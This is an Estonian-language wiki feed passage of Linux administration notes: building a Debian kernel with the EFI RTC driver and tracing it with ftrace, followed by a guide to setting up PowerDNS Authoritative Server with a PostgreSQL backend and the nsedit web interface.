10868a10872&lt;br /&gt;
&amp;gt; CONFIG_MODULE_SIG_KEY=&amp;quot;certs/signing_key.pem&amp;quot;&lt;br /&gt;
10870a10875&lt;br /&gt;
&amp;gt; CONFIG_SYSTEM_TRUSTED_KEYS=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~$ diff orig/linux-source-6.12/drivers/rtc/Kconfig 20251001/linux-source-6.12/drivers/rtc/Kconfig&lt;br /&gt;
1180c1180&lt;br /&gt;
&amp;lt; 	depends on EFI &amp;amp;&amp;amp; !X86&lt;br /&gt;
---&lt;br /&gt;
&amp;gt; 	depends on EFI&lt;br /&gt;
&lt;br /&gt;
imre@kernel-deb-13-01:~/20251001/linux-source-6.12$ make -j 32 bindeb-pkg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# ls -ld /home/imre/20251001/linux-*&lt;br /&gt;
-rw-r--r--  1 imre imre   9175852 Oct  2 00:07 /home/imre/20251001/linux-headers-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 109643260 Oct  2 00:07 /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre 999103852 Oct  2 00:08 /home/imre/20251001/linux-image-6.12.48-dbg_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-r--r--  1 imre imre   1395812 Oct  2 00:06 /home/imre/20251001/linux-libc-dev_6.12.48-2_amd64.deb&lt;br /&gt;
-rw-rw-r--  1 imre imre      6109 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.buildinfo&lt;br /&gt;
-rw-rw-r--  1 imre imre      2260 Oct  2 00:09 /home/imre/20251001/linux-upstream_6.12.48-2_amd64.changes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# dpkg -i /home/imre/20251001/linux-image-6.12.48_6.12.48-2_amd64.deb&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# find /lib/modules/6.12.48 -name rtc-efi\* -ls&lt;br /&gt;
   559702      8 -rw-r--r--   1 root     root         4708 Oct  2 00:05 /lib/modules/6.12.48/kernel/drivers/rtc/rtc-efi.ko.xz&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutamine, nt grub bootloaderisse sekkumisel näidata&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
linux /boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
initrd /boot/initrd.img-6.12.48&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:~# uname -a&lt;br /&gt;
Linux kernel-deb-13-01 6.12.48 #2 SMP PREEMPT_DYNAMIC Thu Oct  2 00:05:59 EEST 2025 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# dmesg -T | grep rtc&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:10 2025] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-6.12.48 root=/dev/mapper/system-root ro efi=runtime modprobe.blacklist=rtc_cmos&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: registered as rtc0&lt;br /&gt;
[Thu Oct  2 00:11:11 2025] rtc-efi rtc-efi.0: setting system clock to 2025-10-01T21:11:09 UTC (1759353069)&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:~# hwclock --show&lt;br /&gt;
2025-10-02 01:35:16.360299+03:00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* 'Building a custom kernel from Debian kernel source' - https://kernel-team.pages.debian.net/kernel-handbook/ch-common-tasks.html#s-common-building&lt;br /&gt;
&lt;br /&gt;
===Kerneli siseste funktsioonide debugimine===&lt;br /&gt;
&lt;br /&gt;
Sedasi saab veenduda, et hwclock kasutab peale eelmises punktis tehtud muudatuse 'efi runtime services' osakonda (mitte klassikalist rfc_cmos osakonda)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat /sys/kernel/tracing/available_filter_functions | grep efi_ | grep time&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cd /sys/kernel/tracing&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; trace&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo nop &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo efi_read_time &amp;gt; set_ftrace_filter&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo function &amp;gt; current_tracer&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 1 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# hwclock --show &amp;amp; echo &amp;quot;before $! after&amp;quot;&lt;br /&gt;
[1] 1525&lt;br /&gt;
before 1525 after&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# 2025-10-02 03:05:13.888490+03:00&lt;br /&gt;
&lt;br /&gt;
[1]+  Done                    hwclock --show&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# echo 0 &amp;gt; tracing_on&lt;br /&gt;
&lt;br /&gt;
root@kernel-deb-13-01:/sys/kernel/tracing# cat trace | head -n 15&lt;br /&gt;
# tracer: function&lt;br /&gt;
#&lt;br /&gt;
# entries-in-buffer/entries-written: 1458/1458   #P:32&lt;br /&gt;
#&lt;br /&gt;
#                                _-----=&amp;gt; irqs-off/BH-disabled&lt;br /&gt;
#                               / _----=&amp;gt; need-resched&lt;br /&gt;
#                              | / _---=&amp;gt; hardirq/softirq&lt;br /&gt;
#                              || / _--=&amp;gt; preempt-depth&lt;br /&gt;
#                              ||| / _-=&amp;gt; migrate-disable&lt;br /&gt;
#                              |||| /     delay&lt;br /&gt;
#           TASK-PID     CPU#  |||||  TIMESTAMP  FUNCTION&lt;br /&gt;
#              | |         |   |||||     |         |&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012235: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012346: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
         hwclock-1525    [003] ..... 10443.012425: efi_read_time &amp;lt;-__rtc_read_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hwclock käsk antakse ja küsitakse tema pid väärtust&lt;br /&gt;
* trace failis on fikseeritud pid mis oli seotud efi_read_time funktsiooni väljakutsumisega&lt;br /&gt;
&lt;br /&gt;
===netconsole===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
AEG=`date +%Y%m%d-%H%M`;&lt;br /&gt;
MDIR=&amp;quot;m-state-$AEG&amp;quot;;&lt;br /&gt;
mkdir $MDIR&lt;br /&gt;
&lt;br /&gt;
ifconfig -a &amp;gt; &amp;quot;$MDIR/ifconfig-a-$AEG&amp;quot;&lt;br /&gt;
route -n &amp;gt; &amp;quot;$MDIR/route-n-$AEG&amp;quot;&lt;br /&gt;
ps axu &amp;gt; &amp;quot;$MDIR/ps-auxw-$AEG&amp;quot;&lt;br /&gt;
netstat -anp &amp;gt; &amp;quot;$MDIR/netstat-anp-$AEG&amp;quot;&lt;br /&gt;
mount &amp;gt; &amp;quot;$MDIR/mount-$AEG&amp;quot;&lt;br /&gt;
df &amp;gt; &amp;quot;$MDIR/df-$AEG&amp;quot;&lt;br /&gt;
iptables-save &amp;gt; &amp;quot;$MDIR/iptables-save-$AEG&amp;quot;&lt;br /&gt;
ip6tables-save &amp;gt; &amp;quot;$MDIR/ip6tables-save-$AEG&amp;quot;&lt;br /&gt;
dmesg &amp;gt; &amp;quot;$MDIR/dmesg-$AEG&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Operatsioonisüsteemi Debian GNU/Linux paketihalduse kasutamine]]&lt;br /&gt;
* http://www.debian.org/security/&lt;br /&gt;
* http://www.debian-administration.org/&lt;br /&gt;
* http://wiki.debian.org/&lt;br /&gt;
* http://www.debian.org/distrib/packages&lt;br /&gt;
* http://debian.org/doc/maint-guide&lt;br /&gt;
* http://www.debianadmin.com/&lt;br /&gt;
* http://debian.catsanddogs.com/&lt;br /&gt;
* http://debconf9.debconf.org/ - sisaldab videosalvestusi Debiani arendajate esinemistest DebConfidel&lt;br /&gt;
* http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/lenny/current/&lt;br /&gt;
* http://debian-live.alioth.debian.org/&lt;br /&gt;
* http://www.emdebian.org/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4235</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4235"/>
		<updated>2026-06-15T22:26:53Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
